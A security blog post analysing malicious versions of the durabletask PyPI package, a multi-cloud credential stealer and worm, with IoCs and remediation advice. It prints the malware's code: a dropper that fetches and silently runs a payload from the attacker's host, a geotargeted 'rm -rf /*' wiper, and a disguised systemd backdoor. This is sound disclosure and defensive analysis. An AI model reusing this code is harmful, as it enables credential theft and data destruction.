---
title: "Malicious durabletask on PyPI: Multi-Cloud Credential Stealer with Worm Capabilities"
description: "Three compromised versions of the Microsoft durabletask Python SDK (1.4.1, 1.4.2, 1.4.3) were published to PyPI, each downloading a stage-2 payload that steals credentials from AWS, Azure, GCP, Kubernetes, HashiCorp Vault, and password managers, then propagates to other hosts via SSM and kubectl exec."
url: "https://safedep.io/blog/malicious-durabletask-pypi-supply-chain-attack"
author: "SafeDep Team"
published: "2026-05-20"
---

# Malicious durabletask on PyPI: Multi-Cloud Credential Stealer with Worm Capabilities

## TL;DR

Three versions of the `durabletask` PyPI package (1.4.1, 1.4.2, 1.4.3), Microsoft's [Durable Task SDK for Python](https://github.com/microsoft/durabletask-python), were published on May 19, 2026 using a compromised PyPI API token. The GitHub repository was not breached: no corresponding tags or commits exist, and no publishing workflow ran that day. The attacker built modified packages locally and uploaded them directly via `twine`, injecting identical dropper code into package source files. The dropper downloads a stage-2 Python zipapp (`rope.pyz`) from attacker infrastructure and executes it with all output suppressed. The stage-2 is a full credential harvesting framework with dedicated collectors for AWS Secrets Manager and SSM Parameter Store, Azure Key Vault, GCP Secret Manager, Kubernetes secrets (across all contexts), HashiCorp Vault, and local password managers (1Password, Bitwarden, `pass`, `gopass`). It also reads over 90 sensitive files from disk, exfiltrates everything encrypted with RSA-4096/AES-256-GCM to a C2 server, and propagates itself to other hosts via AWS SSM `SendCommand` and `kubectl exec`. The payload includes geopolitical targeting: it skips systems with a Russian locale and contains a destructive `rm -rf /*` routine targeting Israeli and Iranian systems.

**Impact:**

- Steals cloud credentials and secrets from AWS, Azure, GCP across all configured profiles and regions
- Dumps all Kubernetes secrets from every accessible context and namespace
- Reads HashiCorp Vault KV secrets across all mounts
- Attempts to unlock and dump 1Password, Bitwarden, pass, and gopass vaults
- Exfiltrates 90+ sensitive files including SSH keys, cloud configs, Docker credentials, VPN configs, MCP configs, `.env` files, Terraform state, and shell history
- Propagates to other EC2 instances via AWS SSM `SendCommand` and to Kubernetes pods via `kubectl exec`
- Deploys persistent systemd backdoor disguised as `pgsql-monitor.service` via C2 delivered payload
- Exfiltrates all collected data encrypted (AES-256-GCM + RSA-4096) to `hxxps://check[.]git-service[.]com` (`160.119.64.3`, AS49870, Seychelles)
- Falls back to exfiltrating stolen data via GitHub using harvested `ghp_`/`github_pat_` tokens when C2 is unreachable
- Resolves backup C2 URLs from cryptographically signed GitHub commits (FIRESCALE dead drop)
- Secondary C2 at `hxxps://t[.]m-kosche[.]com` (`185.95.159.32`, AS209101, Bulgaria) used for propagation payload delivery
- Contains a destructive `rm -rf /*` wiper targeting Israeli and Iranian systems (1-in-6 chance on locale match)

**Indicators of Compromise (IoC):**

- `durabletask@1.4.1` (SHA256 sdist: `3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf`)
- `durabletask@1.4.2` (SHA256 sdist: `85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f`)
- `durabletask@1.4.3` (SHA256 sdist: `c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc`)
- Stage-2 payload: `rope.pyz` (SHA256: `069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce`)
- C2 domain: `check[.]git-service[.]com` (resolves to `160.119.64.3`, NS: `dnsowl.com`)
- Secondary C2: `t[.]m-kosche[.]com`
- C2 endpoints: `/api/public/version` (exfil), `/v1/models` (early quarantine/persistence), `/rope.pyz` (payload), `/audio.mp3` (destructive payload audio)
- Persistence: systemd service `pgsql-monitor.service`, binary at `/usr/bin/pgmonitor.py` or `~/.local/bin/pgmonitor.py`
- Propagation markers: `~/.cache/.sys-update-check`, `~/.cache/.sys-update-check-k8s`
- GitHub dead drop: commits containing `FIRESCALE` keyword with signed base64 URLs
- GitHub exfil repos: randomly named with Slavic folklore words (e.g., `BABA-YAGA-KOSCHEI-742`)

## Analysis

### Package Overview

`durabletask` is Microsoft's official Durable Task SDK for Python, used for building reliable orchestration workflows. The package has a long release history on PyPI dating back through 106 dev releases and multiple stable versions. The legitimate v1.4.0 was published on April 8, 2026. On May 19, three new versions appeared in rapid succession: v1.4.1 at 16:19 UTC, v1.4.2 at 16:49 UTC, and v1.4.3 at 16:54 UTC, all within 35 minutes. The `pyproject.toml` across all three versions is identical to v1.4.0 except for the version bump. No author or maintainer metadata is exposed through the PyPI JSON API.

The project metadata still points to the legitimate Microsoft GitHub repository (`microsoft/durabletask-python`). Anyone checking the package page sees Microsoft's repo URL, giving the compromised versions unearned credibility.

### Root Cause: Compromised PyPI API Token

The GitHub repository shows no signs of compromise. No tags `v1.4.1`, `v1.4.2`, or `v1.4.3` exist. The most recent tag is `v1.4.0`, matching the last legitimate release. No GitHub Actions publishing workflow ran on May 19. The only workflow activity that day was scheduled bots (PR Verification Agent, Daily Code Review). The last code commit was on April 24, 2026, 25 days before the malicious packages appeared.

The attacker published directly to PyPI using a stolen API token, bypassing CI/CD entirely.

The repository's publishing pipeline (`durabletask.yml`) uses `twine upload` with a long-lived PyPI API token stored in GitHub Secrets:

```yaml
# .github/workflows/durabletask.yml
- name: Publish package to PyPI
  env:
    TWINE_USERNAME: __token__
    TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }}
  run: |
    twine upload dist/*
```

Three weaknesses made this token a high-value target:

**1. No trusted publishers.** The project uses legacy API token authentication instead of PyPI's [OIDC trusted publisher](https://docs.pypi.org/trusted-publishers/) mechanism. Trusted publishers bind publishing to a specific GitHub repository, workflow, and environment. A stolen token cannot publish from outside that workflow. This project has no such binding: anyone holding the token can upload any version from any machine.

**2. Shared token across three workflows.** The same `PYPI_API_TOKEN` secret appears in `durabletask.yml` (releases), `durabletask-dev.yml` (dev builds), and `durabletask-experiment.yml` (experimental builds). A single compromised secret grants full publishing access.

**3. Experiment workflow with no test gate.** The `durabletask-experiment.yml` workflow runs on every push to any non-main branch. The test requirement (`needs: run-tests`) is commented out. While this workflow forces a `0.0.0.dev*` version, it widens the surface area where the token is used.

No provenance or attestation exists on any `durabletask` release, legitimate or malicious. PyPI returns `"No provenance available"` for every version. Without cryptographic provenance, there is no way to verify that a published artifact was built from a specific commit in the Microsoft repository. The attacker could clone the legitimate source, inject malicious files, build locally with `python -m build`, and upload with `twine upload` using the stolen token. The result is indistinguishable from a legitimate release on the PyPI package page.

The exact token compromise vector remains unknown. Possible paths include exfiltration from a compromised GitHub account with Secrets access, exposure in CI logs, or theft from a maintainer's local environment.

### Payload Evolution: Accumulative Injection

The attacker iterated through three versions in 35 minutes, each adding more injection points while retaining all previous ones.

**v1.4.1** replaced the copyright header in `durabletask/__init__.py` with the dropper:

```python
# durabletask/__init__.py (v1.4.1)
import os
import sys
import platform
import subprocess
import urllib.request

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
        with open(os.devnull, 'w') as f:
            subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)
    except:
        pass
```

**v1.4.2** kept the `__init__.py` injection and added the same payload appended to `durabletask/task.py`.

**v1.4.3** kept both previous injections and added three more in `durabletask/entities/__init__.py`, `durabletask/extensions/__init__.py`, and `durabletask/payload/__init__.py`.

By v1.4.3, the dropper exists in five files. Any import path through the package triggers the download. The `start_new_session=True` flag detaches the stage-2 process so it survives even if the parent Python process exits. Stdout, stderr, and stdin are all redirected to `/dev/null` for silent execution.

### Stage-2: rope.pyz

The stage-2 payload is a 28 KB Python zipapp served as `application/zip` from the C2. It contains a modular credential harvesting framework with this structure:

```
__main__.py          # Entry point: anti-analysis, installs cryptography, launches entrypoint
config.py            # C2 URLs, RSA public key, timeouts
entrypoint.py        # Orchestrator: collect, encrypt, exfiltrate, fallback chains
aggregate.py         # Parallel collector runner
roulette.py          # Persistence deployer + destructive geotargeted wiper
collectors/
  aws.py             # AWS Secrets Manager, SSM Parameters, IMDS credentials
  azure.py           # Azure Key Vault, IMDS, CLI cache, cert-based auth
  gcp.py             # GCP Secret Manager, service account keys, ADC
  kubernetes.py      # K8s secrets (all namespaces), kubeconfig parsing, pod propagation
  vault.py           # HashiCorp Vault KV v1/v2 across all mounts
  passwords.py       # 1Password, Bitwarden, pass, gopass (with brute-force unlock)
  filesystem.py      # 90+ sensitive files, SSH keys, env vars, Docker, VPN, Terraform state
  propagate.py       # AWS SSM SendCommand lateral movement
utilities/
  crypto.py          # RSA-OAEP, AES-256-GCM, RSA signature verification
  aws_signer.py      # AWS SigV4 request signing (no SDK dependency)
```

### Anti-Analysis and Geopolitical Targeting

The `__main__.py` entry point runs several checks before executing the payload:

```python
# __main__.py
if sys.platform not in ('linux'):
    sys.exit(1)

lang = os.environ.get('LANG', '').split('.')[0]
if lang.lower().startswith('ru'):
    sys.exit(1)

cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
    sys.exit(1)
```

The payload only runs on Linux, exits on systems with a Russian locale (`LANG=ru_*`), and requires more than 2 CPUs (filtering out lightweight sandbox VMs). It then installs the `cryptography` Python package if missing (with `--break-system-packages` for system Python installs) and launches the entrypoint module.

### The Roulette Module: Destruction and Persistence

`roulette.py` contains the destructive capability. It receives a base64 encoded Python script from the C2's "early quarantine" endpoint and either deploys persistence or runs a wiper:

```python
# roulette.py
def _is_israeli_system():
    _TZ_MARKERS = ("Jerusalem", "Tel_Aviv", "Tehran")
    _LOCALE_MARKERS = ("he_IL", "fa_IR")
    # Checks TZ env var, /etc/timezone, /etc/localtime, LANG, LC_ALL, LC_MESSAGES
    ...

def collect(python_b64):
    roll = random.randint(1, 6)
    if _is_israeli_system() and roll == 2:
        play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
        subprocess.run(["rm", "-rf", "/*"])
        return
    try:
        deploy_local(python_b64)
    except Exception:
        pass
```

On Israeli or Iranian systems (detected via timezone markers for Jerusalem, Tel Aviv, Tehran, or locales `he_IL`, `fa_IR`), with a 1-in-6 random chance, the payload downloads an audio file (`audio.mp3`), sets system volume to 100% via `pactl`, plays it through `mpv`, and executes `rm -rf /*`. A wiper paired with psychological intimidation. The remaining 5-in-6 outcomes (and all non-targeted systems) get persistence instead.

The persistence mechanism deploys a systemd service disguised as a PostgreSQL monitor:

```python
# roulette.py
bin_path = os.path.join(bin_dir, "pgmonitor.py")       # /usr/bin/ or ~/.local/bin/
svc_path = os.path.join(svc_dir, "pgsql-monitor.service")  # system or user systemd

unit = f"""[Unit]
Description=PostgreSQL Monitor
After=network.target

[Service]
ExecStart={sys.executable} {bin_path}
Restart=always

[Install]
WantedBy={wanted_by}
"""
```

### Credential Collection: Breadth and Depth

All collectors run in parallel via `concurrent.futures.ThreadPoolExecutor`.

**AWS** (`collectors/aws.py`): Resolves credentials from environment variables, `~/.aws/credentials` (all profiles), and EC2 IMDS. For each credential set, it enumerates all AWS Secrets Manager secrets (with `GetSecretValue`) and all SSM Parameter Store parameters (with `WithDecryption: True`) across 19 regions using parallel workers. It also discovers SSM-managed instances for lateral movement. The module implements its own AWS SigV4 signing (`utilities/aws_signer.py`) to avoid SDK dependencies.

**Azure** (`collectors/azure.py`): Resolves tokens via client credentials flow, certificate-based authentication, Azure CLI token cache (`~/.azure/accessTokens.json`), and Azure IMDS. Enumerates all subscriptions, lists Key Vaults per subscription, and dumps every secret from each vault.

**GCP** (`collectors/gcp.py`): Resolves credentials from service account JSON files (`GOOGLE_APPLICATION_CREDENTIALS`), application default credentials (`~/.config/gcloud/application_default_credentials.json`), and GCE metadata server. Lists all secrets in the resolved project via Secret Manager API and retrieves each secret's latest version.

**Kubernetes** (`collectors/kubernetes.py`): Parses kubeconfig (with a custom YAML parser, no PyYAML dependency), iterates every context, and dumps secrets from all namespaces. Supports in-cluster service account tokens, client certificate auth, and bearer tokens. If `kubectl` is not present, the collector downloads it from `dl.k8s.io`. After collecting secrets, it propagates the payload to up to 5 other running pods via `kubectl exec`.

**HashiCorp Vault** (`collectors/vault.py`): Resolves tokens from `VAULT_TOKEN`, `~/.vault-token`, AppRole login (`VAULT_ROLE_ID`/`VAULT_SECRET_ID`), and the Vault CLI. Lists all KV mounts, detects KV v1 vs v2, and walks every path to read all secrets.

**Password Managers** (`collectors/passwords.py`): Attempts to unlock 1Password, Bitwarden, `pass`, and `gopass` by brute-forcing passwords harvested from environment variables matching `*PASS*`, `*SECRET*`, `*KEY*`, `BW_*`, `OP_*`, `*_MASTER*` patterns, and from shell history (`.bash_history`, `.zsh_history`). On success, it dumps every item from every vault.

**Filesystem** (`collectors/filesystem.py`): Reads 90+ files including SSH keys, cloud credentials, Docker configs, npm/PyPI/Cargo/Gem tokens, kubeconfig, Terraform state files, VPN configurations (Tailscale state, WireGuard configs), MCP server configs (Claude Desktop, Cursor, VS Code, Zed, Codeium, Continue), and all `.env` files found under the home directory. Also extracts environment variables from all Docker containers via the Docker socket or CLI, and collects GitHub tokens via `gh auth token`.

### C2 Infrastructure

The attacker operates two domains, both registered through the same nameserver provider (dnsowl.com) and provisioned with Let's Encrypt certificates issued three days before the malicious packages were published (May 16, 2026).

| Domain                      | IP              | ASN                            | Reverse DNS                     | Cert Issued  |
| --------------------------- | --------------- | ------------------------------ | ------------------------------- | ------------ |
| `check[.]git-service[.]com` | `160.119.64.3`  | AS49870 / AS7489 (SC, AFRINIC) | `hosted-by.europededicated.com` | May 16, 2026 |
| `t[.]m-kosche[.]com`        | `185.95.159.32` | AS209101 (BG, RIPE)            | (none)                          | May 16, 2026 |

The primary C2 at `check[.]git-service[.]com` exposes four endpoints:

- **`/rope.pyz`** serves the stage-2 payload (28,703 bytes, `application/zip`)
- **`/v1/models`** is the "early quarantine" endpoint. When reachable and returning HTTP 200, the response body feeds into `roulette.collect()` as a base64 encoded Python payload for persistence deployment (or, for geotargeted systems, the destructive wiper). At time of analysis, this endpoint redirects to YouTube. The attacker may have disabled this capability after initial deployment
- **`/api/public/version`** accepts POST requests with the encrypted exfiltration bundle. Returns 400 on GET, confirming it expects the specific JSON structure produced by `_build_package()`
- **`/audio.mp3`** serves the audio file played at full volume before the destructive wiper executes on targeted systems. Also redirecting to YouTube at time of analysis

Both domains redirect all non-payload paths (including the root `/`) to `hxxps://www[.]youtube[.]com/watch?v=1hIT0dCwzGo`, a misdirection for casual visitors or analysts probing the server. The attacker chose `git-service.com` to blend with legitimate developer infrastructure in network logs.

The "Kosche" in the secondary domain `m-kosche[.]com` is a reference to Koschei the Deathless from Slavic folklore, consistent with the folklore naming theme used in the GitHub exfiltration repo names (BABA-YAGA, KOSCHEI, FIREBIRD, VASSILISA, etc.).

### C2 Communication Protocol

The entrypoint module orchestrates a three-tier exfiltration strategy with cascading fallbacks:

**Step 1: Early quarantine check.** Before collecting any credentials, the payload contacts `/v1/models` with a 5-second timeout. If reachable and returning HTTP 200, the response is fed to `roulette.collect()` for persistence/destruction. If the server returns an HTTP error (4xx/5xx), the payload continues without fallback. Only if the connection itself fails (timeout, DNS failure, network unreachable) does it trigger the GitHub dead drop resolver.

**Step 2: Credential collection and primary exfil.** All collectors run in parallel via `ThreadPoolExecutor`. The aggregated results are compressed with gzip, encrypted with a random AES-256-GCM key (256-bit key, 96-bit IV), and the AES key is wrapped with the attacker's 4096-bit RSA public key using OAEP-SHA256. The resulting JSON envelope:

```json
{
  "envelope": "<base64(IV + ciphertext + GCM_tag)>",
  "key": "<base64(RSA_encrypted_AES_key)>"
}
```

The payload POSTs this to the primary C2 at `hxxps://check[.]git-service[.]com/api/public/version`.

**Step 3: GitHub dead drop fallback.** If the primary C2 is unreachable, the payload searches GitHub's public commit search API for commits containing the keyword `FIRESCALE`. The commit message format is `FIRESCALE <base64_url>.<base64_signature>`. The URL is decoded and the signature is verified against the same RSA public key embedded in `config.py`. This prevents third parties from poisoning the dead drop with fake C2 URLs. Only cryptographically signed URLs are trusted, making the resolution mechanism tamper-resistant.

```python
# entrypoint.py
_FIRESCALE_RE = re.compile(r'FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)')

# Search GitHub commits, verify signature, extract URL
req = urllib.request.Request(
    "https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30",
    headers={"Accept": "application/vnd.github.cloak-preview+json", "User-Agent": "git/2.39.0"}
)
```

**Step 4: GitHub token exfiltration.** If both C2 and dead drop fail, the payload searches the collected credential data for GitHub personal access tokens matching `ghp_[a-zA-Z0-9]{36}` or `github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59}`. For each token found, it creates a new public repository named with random Slavic folklore words (e.g., `BABA-YAGA-KOSCHEI-742`, description: "PUSH UR T3MPRR") and uploads the encrypted data bundle as `results.json`. The attacker can later search GitHub for repositories matching these distinctive naming patterns to retrieve the exfiltrated data.

### Lateral Movement: SSM and Kubernetes

The propagation module (`collectors/propagate.py`) uses AWS SSM `SendCommand` with `AWS-RunShellScript` to execute a dropper script on up to 5 discovered EC2 instances. The script checks for a propagation marker, downloads `rope.pyz` (with fallback to the secondary URL `hxxps://t[.]m-kosche[.]com/rope.pyz`), executes it, and deletes itself. The Kubernetes propagation in `collectors/kubernetes.py` does the same via `kubectl exec` across discovered running pods.

Both propagation paths use marker files (`~/.cache/.sys-update-check`, `~/.cache/.sys-update-check-k8s`) to avoid re-infecting the same host.

## Conclusion

A multi-cloud credential harvesting operation with worm capabilities, built on a hijacked Microsoft SDK. The attacker iterated through three versions to maximize injection surface and deployed a stage-2 that targets every major secret store a cloud-native development environment might touch. The triple redundant exfiltration (C2 server, GitHub dead drop, GitHub token upload), the SSM and Kubernetes lateral movement, and the geopolitical targeting (Russian locale exclusion, Israeli/Iranian wiper) point to a resourced and motivated threat actor.

If you installed `durabletask` 1.4.1, 1.4.2, or 1.4.3, assume full credential compromise. Rotate all cloud credentials, Vault tokens, Kubernetes service account tokens, SSH keys, and password manager master passwords. Audit AWS CloudTrail, Azure Activity Log, and GCP Audit Log for unauthorized `GetSecretValue`, `GetParameter`, or Secret Manager access. Check for `pgsql-monitor.service` in systemd and the propagation markers on any system that ran the payload.

SafeDep's open source tool [`vet`](https://github.com/safedep/vet) can detect malicious packages like this before they enter your dependency tree. For runtime protection against malicious package installs, [`pmg`](https://github.com/safedep/pmg) intercepts package manager commands and blocks known threats at install time.

## References

- [durabletask on PyPI](https://pypi.org/project/durabletask/)
- [microsoft/durabletask-python on GitHub](https://github.com/microsoft/durabletask-python)
- [SafeDep vet: OSS dependency scanner](https://github.com/safedep/vet)
